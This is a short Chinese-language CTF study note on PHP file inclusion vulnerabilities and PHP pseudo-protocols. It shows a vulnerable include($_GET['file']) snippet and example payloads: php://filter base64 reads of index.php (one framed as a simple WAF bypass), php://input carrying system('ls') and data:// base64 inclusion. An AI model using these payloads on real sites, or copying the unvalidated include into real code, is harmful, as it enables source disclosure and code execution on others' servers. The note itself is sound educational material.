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            <h1 id="seo-header">ctf-web-php伪协议</h1>
            
            
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                <h1 id="文件包含漏洞和php伪协议"><a href="#文件包含漏洞和php伪协议" class="headerlink" title="文件包含漏洞和php伪协议"></a>文件包含漏洞和php伪协议</h1><h2 id="文件包含漏洞"><a href="#文件包含漏洞" class="headerlink" title="文件包含漏洞"></a>文件包含漏洞</h2><p>什么是文件包含漏洞：</p>
<p>为了更好地使用代码的重用性，可以使用文件包含函数将文件包含进来，直接使用文件中的代码来提高重用性。但是这也产生了<strong>文件包含漏洞</strong>。</p>
<span id="more"></span>

<p>产生原因是在通过 PHP 的函数引入文件时，为了灵活包含文件会将被包含文件设置为变量，通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控，而服务器端未对变量值进行合理地校验或者校验被绕过，就会导致文件包含漏洞。</p>
<p>文件包含示例：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span>   <br><span class="hljs-variable">$file</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;file&#x27;</span>];<br><span class="hljs-keyword">include</span>(<span class="hljs-variable">$file</span>); <br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure>

<p>文件包含分为：</p>
<ul>
<li>LFI本地文件包含</li>
<li>RFI远程文件包含（allow_url_include）</li>
</ul>
<h2 id="伪协议"><a href="#伪协议" class="headerlink" title="伪协议"></a>伪协议</h2><h3 id="php-filter"><a href="#php-filter" class="headerlink" title="php:&#x2F;&#x2F;filter"></a>php:&#x2F;&#x2F;filter</h3><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs awk">php:<span class="hljs-regexp">//</span>filter<span class="hljs-regexp">/read=convert.base64-encode/</span>resource=index.php<br></code></pre></td></tr></table></figure>

<p>简单绕过部分WAF：</p>
<figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs awk">php:<span class="hljs-regexp">//</span>filter<span class="hljs-regexp">/convert.base64-encode/</span>resource=index.php<br></code></pre></td></tr></table></figure>

<p>访问本地文件的协议，&#x2F;read&#x3D;convert.base64-encode&#x2F; 表示读取的方式是 base64 编码后，resource&#x3D;index.php 表示目标文件为index.php</p>
<p><strong>转换过滤器</strong>：</p>
<ol>
<li>convert.base64-encode &amp; convert.base64-decode。即上面示例</li>
<li>convert.iconv.*。使用有两种方法:</li>
</ol>
<figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs pgsql">convert.iconv.&lt;<span class="hljs-keyword">input</span>-<span class="hljs-keyword">encoding</span>&gt;.&lt;output-<span class="hljs-keyword">encoding</span>&gt; <br><span class="hljs-keyword">or</span><br>convert.iconv.&lt;<span class="hljs-keyword">input</span>-<span class="hljs-keyword">encoding</span>&gt;/&lt;output-<span class="hljs-keyword">encoding</span>&gt;<br></code></pre></td></tr></table></figure>

<p>支持的编码：</p>
<figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs txt">UCS-4*<br>UCS-4BE<br>UCS-4LE*<br>UCS-2<br>UCS-2BE<br>UCS-2LE<br>UTF-32*<br>UTF-32BE*<br>UTF-32LE*<br>UTF-16*<br>UTF-16BE*<br>UTF-16LE*<br>UTF-7<br>UTF7-IMAP<br>UTF-8*<br>ASCII*<br></code></pre></td></tr></table></figure>

<h3 id="php-input"><a href="#php-input" class="headerlink" title="php:&#x2F;&#x2F;input"></a>php:&#x2F;&#x2F;input</h3><p>可以访问请求的原始数据的只读流，可以读取 POST 请求的参数–即可以在<strong>post data中附带上php代码</strong>。</p>
<p>比如，遍历当前目录下所有文件：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-title function_ invoke__">system</span>(<span class="hljs-string">&quot;ls&quot;</span>);  <br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure>

<h3 id="data伪协议"><a href="#data伪协议" class="headerlink" title="data伪协议"></a>data伪协议</h3><p>allow_url_include和allow_url_fopen都为on的状态</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">data://text/plain;<span class="hljs-built_in">base64</span>,xxxx(<span class="hljs-built_in">base64</span>编码后的数据)<br></code></pre></td></tr></table></figure>

<p>参考链接</p>
<p><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/mbstring.supported-encodings.php">https://www.php.net/manual/zh/mbstring.supported-encodings.php</a></p>
<p><a target="_blank" rel="noopener" href="https://blog.csdn.net/woshilnp/article/details/117266628">https://blog.csdn.net/woshilnp/article/details/117266628</a></p>
<p><a target="_blank" rel="noopener" href="https://blog.csdn.net/qq_44657899/article/details/109300335">https://blog.csdn.net/qq_44657899/article/details/109300335</a></p>
<p><a target="_blank" rel="noopener" href="https://blog.csdn.net/cocoaiu/article/details/126319957">https://blog.csdn.net/cocoaiu/article/details/126319957</a></p>
<p><a target="_blank" rel="noopener" href="https://www.cnblogs.com/linfangnan/p/13535097.html">https://www.cnblogs.com/linfangnan/p/13535097.html</a></p>

                
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